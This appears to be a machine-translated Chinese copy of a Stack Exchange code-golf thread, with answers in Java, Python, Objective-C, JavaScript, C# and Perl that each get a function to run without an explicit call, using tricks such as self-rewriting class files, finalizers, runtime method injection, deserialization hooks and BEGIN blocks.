        try (InputStream is = new BufferedInputStream(new FileInputStream(f))) {
            int c;
            while ((c = is.read()) != -1) baos.write(c);
        }
        String s = baos.toString()
                .replace("theCalledMethod", "myUselessMethod")
                .replace("notCalledMethod", "theCalledMethod");
        try (OutputStream os = new BufferedOutputStream(new FileOutputStream(f))) {
            for (byte b : s.getBytes()) os.write(b);
        }
    }
}

class OtherClass {
    public static void theCalledMethod() {
        System.out.println("Hi, this is the called method.");
    }

    public static void notCalledMethod() {
        System.out.println("This method is not called anywhere, you should never see this.");
    }
}

运行它:

> javac ClassRewriting.java

> java ClassRewriting
This method is not called anywhere, you should never see this.

>

这取决于平台。特别是,在平台默认字符编码为UTF-8的OS X上,它可能会失败。
ntoskrnl 2014年

@ntoskrnl如果将编码名称作为参数传递给getBytes()方法并将其打开,则应该很容易解决getBytes("UTF-8")。由于我没有OS X,您可以测试一下是否可行吗?
维克多·斯塔夫萨

UTF-8不适用于二进制数据。像ISO-8859-1这样的单字节编码应该可以工作,但是将二进制数据视为字符串仍然是错误的。
ntoskrnl 2014年

3
@ntoskrnl实际上,强行执行我在这里所做的事情的类文件是错误的,编码是最小的问题。:)
Victor Stafusa 2014年

4

蟒蛇

class Snake:

    @property
    def sneak(self):
        print("Hey, what's this box doing here!")
        return True

solid = Snake()

if hasattr(solid, 'sneak'):
    print('Solid Snake can sneak')

4

爪哇

是的,垃圾收集!

public class CrazyDriver {

    private static class CrazyObject {
        public CrazyObject() {
            System.out.println("Woo!  Constructor!");
        }

        private void indirectMethod() {
            System.out.println("I win!");
        }

        @Override
        public void finalize() {
            indirectMethod();
        }
    }

    public static void main(String[] args) {
        randomMethod();
        System.gc();
    }

    private static void randomMethod() {
        CrazyObject wut = new CrazyObject();
    }
}

对于那些不可避免地会说不System.gc()可靠的人:

public class UselessDriver {

    private static class UselessObject {

        public UselessObject() {
            System.out.println("Woo!  Constructor!");
        }

        public void theWinningMethod() {
            System.out.println("I win!");
        }

        @Override
        public void finalize() {
            theWinningMethod();
        }
    }

    public static void main(String[] args) {
        randomMethod();
        System.gc();
        fillTheJVM();
    }


    private static void randomMethod() {
        UselessObject wut = new UselessObject();
    }

    private static void fillTheJVM() {
        try {
            List<Object> jvmFiller = new ArrayList<Object>();
            while(true) {
                jvmFiller.add(new Object());
            }
        }
        catch(OutOfMemoryError oome) {
            System.gc();
        }
    }
}

4

目标C

(可能只有在Mac OS X上使用clang编译时才可能)

#import <Foundation/Foundation.h>
#import <objc/runtime.h>

void unusedFunction(void) {
    printf("huh?\n");
    exit(0);
}

int main() {

    NSString *string;
    string = (__bridge id)(void*)0x2A27; // Is this really valid?

    NSLog(@"%@", [string stringByAppendingString:@"foo"]);

    return 0;
}

@interface MyClass : NSObject
@end
@implementation MyClass

+ (void)load {
    Class newClass = objc_allocateClassPair([NSValue class], "MyClass2", 0);
    IMP imp = class_getMethodImplementation(self, @selector(unusedMethod));
    class_addMethod(object_getClass(newClass), _cmd, imp, "");
    objc_registerClassPair(newClass);
    [newClass load];
}

- (void)unusedMethod {
    Class class = [self superclass];
    IMP imp = (IMP)unusedFunction;
    class_addMethod(class, @selector(doesNotRecognizeSelector:), imp, "");
}

@end

此代码使用一些技巧来获得未使用的功能。首先是值0x2A27。这是整数42 的标记指针,该整数对指针中的值进行编码以避免分配对象。

接下来是MyClass。从未使用过它,但是运行+load时在加载时在之前调用该方法main。这将动态创建并注册一个新类,NSValue并将其用作其超类。它还增加了一个+load方法,这个类,使用MyClass-unusedMethod作为实现。注册后,它将在新类上调用load方法(由于某种原因,它不会自动被调用)。

由于新类的load方法使用与相同的实现unusedMethod,因此可以有效地调用它。它采用自身的超类,并添加unusedFunction为该类doesNotRecognizeSelector:方法的实现。此方法最初是上的实例方法MyClass,但在新类上被称为类方法,self新类对象也被称为类方法。因此,超类为NSValue,这也是的超类NSNumber

最后,main运行。它获取指针值并将其粘贴在NSString *变量中(第一个__bridge和第二个强制转换,以void *使其可以在有或没有ARC的情况下使用)。然后,它尝试调用stringByAppendingString:该变量。由于实际上是一个不执行该方法的数字,因此doesNotRecognizeSelector:将调用该方法,该方法向上遍历类层次结构,直至NSValue使用来实现该方法unusedFunction


注意:与其他系统的不兼容性是由于使用了标记的指针,我不认为其他实现已经实现了。如果将其替换为通常创建的数字,则其余代码应能正常工作。


嗯,尝试ciruZ的ObjFW吧,这是一个相当不错的Objective-C运行时和框架,也许这个或接近的东西也可以使用它;-)
mirabilos 2014年

@mirabilos唯一不兼容的是0x2A27值,所以我只是不知道是否在其他地方实现了该值。ObjFW当然很有趣。
ughoavgfhw 2014年


@布莱恩谢谢!我一直在寻找确切的文章,却不记得正确的名字。
ughoavgfhw 2014年

@BryanChen啊,好的。ughoavgfhw:当然,只是想指出备用运行时,以备您使用。
mirabilos 2014年

3

Java脚本

我觉得这似乎不像它正在调用该函数

window["false"] =  function() { alert("Hello world"); }
window[![]]();

5
如果你问我的话,那是很危险的。
科尔·约翰逊

@ColeJohnson我想他已经越过了……
Tomas

3

C#(通过using

using System;

namespace P
{
    class Program : IDisposable
    {
        static void Main(string[] args)
        {
            using (new Program()) ;
        }

        public void Dispose()
        {
            Console.Write("I was called without calling me!");
        }
    }
}

3

爪哇

package stuff;

import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class SerialCall {
    static class Obj implements Serializable {
        private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
            System.out.println("Magic!");
        }
    }

    private static final byte[] data = { -84, -19, 0, 5, 115, 114, 0, 20, 115,
            116, 117, 102, 102, 46, 83, 101, 114, 105, 97, 108, 67, 97, 108,
            108, 36, 79, 98, 106, 126, -35, -23, -68, 115, -91, -19, -120, 2,
            0, 0, 120, 112 };

    public static void main(String[] args) throws Exception {
//      ByteArrayOutputStream baos = new ByteArrayOutputStream();
//      ObjectOutputStream out = new ObjectOutputStream(baos);
//      out.writeObject(new Obj());
//      System.out.println(Arrays.toString(baos.toByteArray()));

        ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(data));
        in.readObject();
    }
}

我利用了Java序列化的特殊功能。readObject反序列化对象时会调用该方法,但不会直接调用该方法-我的代码或反序列化库都不会直接调用该方法。如果深入研究源代码,您会发现该方法在较低层次上是通过反射内部调用的。


是的 序列化有很多有趣的笑话:); 顺便说一句,在Java的其他序列化
吊销中

3

佩尔

这很容易。即使没有显式调用,下面的代码也会自动在子例程中运行代码。

sub call_me_plz {
    BEGIN {
        print "Hello, world!\n";
    }
}
# call_me_plz(); # don't call the method

即使取消注释该呼叫,它也只会被调用一次。


怎么样?无法落后于magic +
masterX244 2014年
By using our site, you acknowledge that you have read and understand our Cookie Policy and Privacy Policy.
Licensed under cc by-sa 3.0 with attribution required.